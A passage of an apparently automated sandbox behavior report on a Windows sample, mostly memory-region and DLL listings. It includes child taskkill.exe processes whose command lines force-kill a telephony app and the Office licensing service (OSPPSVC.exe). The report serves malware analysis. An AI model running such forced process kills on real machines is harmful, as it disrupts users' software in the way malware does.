0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3580 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3581 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3582 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3583 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3584 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3585 start_va = 0x280000 end_va = 0x407fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3586 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3587 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3588 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3589 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3590 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3591 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3592 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3593 start_va = 0x160000 end_va = 0x21ffff entry_point = 0x160000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3594 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 3595 start_va = 0x410000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 3596 start_va = 0x4d0000 end_va = 0x650fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 3597 start_va = 0x7a0000 end_va = 0x7dffff entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 3598 start_va = 0x950000 end_va = 0x98ffff entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 3599 start_va = 0x1010000 end_va = 0x240ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001010000" filename = "" Region: id = 3600 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3601 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3602 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 3603 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 3604 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3605 start_va = 0x7e0000 end_va = 0x8dffff entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 3606 start_va = 0xb80000 end_va = 0xbbffff entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 3607 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3608 start_va = 0x910000 end_va = 0x94ffff entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 3609 start_va = 0xab0000 end_va = 0xaeffff entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3610 start_va = 0xbc0000 end_va = 0xe8efff entry_point = 0xbc0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3611 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3612 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3613 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3614 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3615 start_va = 0x9d0000 end_va = 0xa0ffff entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 3616 start_va = 0xa40000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 3617 start_va = 0xb30000 end_va = 0xb6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 3618 start_va = 0xf50000 end_va = 0xf8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 3619 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3620 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3621 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3622 start_va = 0x6a480000 end_va = 0x6a515fff entry_point = 0x6a49f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 3623 start_va = 0x6a7d0000 end_va = 0x6a7e7fff entry_point = 0x6a7d1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 221 os_tid = 0x1f8 Thread: id = 222 os_tid = 0x50c Thread: id = 223 os_tid = 0x3d0 Thread: id = 226 os_tid = 0x2fc Thread: id = 227 os_tid = 0x63c Process: id = "29" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x57e0c000" os_pid = "0x584" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3624 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3625 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3626 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3627 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3628 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3629 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3630 start_va = 0x280000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3631 start_va = 0xe80000 end_va = 0xe95fff entry_point = 0xe85c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 3632 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3633 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3634 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3635 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3636 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3637 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3638 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3639 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3640 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3641 start_va = 0x1e0000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3642 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3643 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3644 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3645 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 3646 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 3665 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3666 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3667 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3668 start_va = 0x1b0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3669 start_va = 0x3b0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3670 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 3671 start_va = 0x6a8a0000 end_va = 0x6a8aefff entry_point = 0x6a8a12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3672 start_va = 0x6a8b0000 end_va = 0x6a8c0fff entry_point = 0x6a8b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3673 start_va = 0x6a8d0000 end_va = 0x6a8dcfff entry_point = 0x6a8d11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 3674 start_va = 0x6a8e0000 end_va = 0x6a914fff entry_point = 0x6a8e13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 3675 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3676 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3677 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3678 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3679 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3680 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3681 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3682 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3683 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3684 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3685 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3686 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3687 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3688 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3689 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3690 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3691 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3692 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3693 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3694 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3695 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3696 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3697 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3698 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3699 start_va = 0x4b0000 end_va = 0x637fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 3700 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3701 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3702 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3703 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3704 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3705 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3706 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3707 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 3708 start_va = 0x2c0000 end_va = 0x37ffff entry_point = 0x2c0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3709 start_va = 0x640000 end_va = 0x7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 3710 start_va = 0x830000 end_va = 0x86ffff entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 3711 start_va = 0x960000 end_va = 0x99ffff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 3712 start_va = 0xa70000 end_va = 0xaaffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 3713 start_va = 0xea0000 end_va = 0x229ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ea0000" filename = "" Region: id = 3714 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3715 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3716 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3717 start_va = 0x6a5b0000 end_va = 0x6a60bfff entry_point = 0x6a5d2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 3718 start_va = 0x6a720000 end_va = 0x6a729fff entry_point = 0x6a72149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3719 start_va = 0xab0000 end_va = 0xbaffff entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3720 start_va = 0xc50000 end_va = 0xc8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 3721 start_va = 0x6a580000 end_va = 0x6a5a8fff entry_point = 0x6a586b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3722 start_va = 0x7f0000 end_va = 0x82ffff entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 3723 start_va = 0xc00000 end_va = 0xc3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 3724 start_va = 0x22a0000 end_va = 0x256efff entry_point = 0x22a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3725 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3726 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3727 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3728 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3729 start_va = 0x8f0000 end_va = 0x92ffff entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 3730 start_va = 0xd00000 end_va = 0xd3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 3731 start_va = 0xd70000 end_va = 0xdaffff entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 3732 start_va = 0xdc0000 end_va = 0xdfffff entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 3733 start_va = 0x6a710000 end_va = 0x6a71efff entry_point = 0x6a7121a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3734 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3735 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3736 start_va = 0x6a4c0000 end_va = 0x6a4d7fff entry_point = 0x6a4c1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 3737 start_va = 0x6a4e0000 end_va = 0x6a575fff entry_point = 0x6a4ff8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 233 os_tid = 0x6b0 Thread: id = 238 os_tid = 0x774 Thread: id = 239 os_tid = 0x794 Thread: id = 240 os_tid = 0x4f8 Thread: id = 241 os_tid = 0x718 Process: id = "30" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x56d51000" os_pid = "0xa24" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3738 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3739 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3740 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3741 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3742 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = 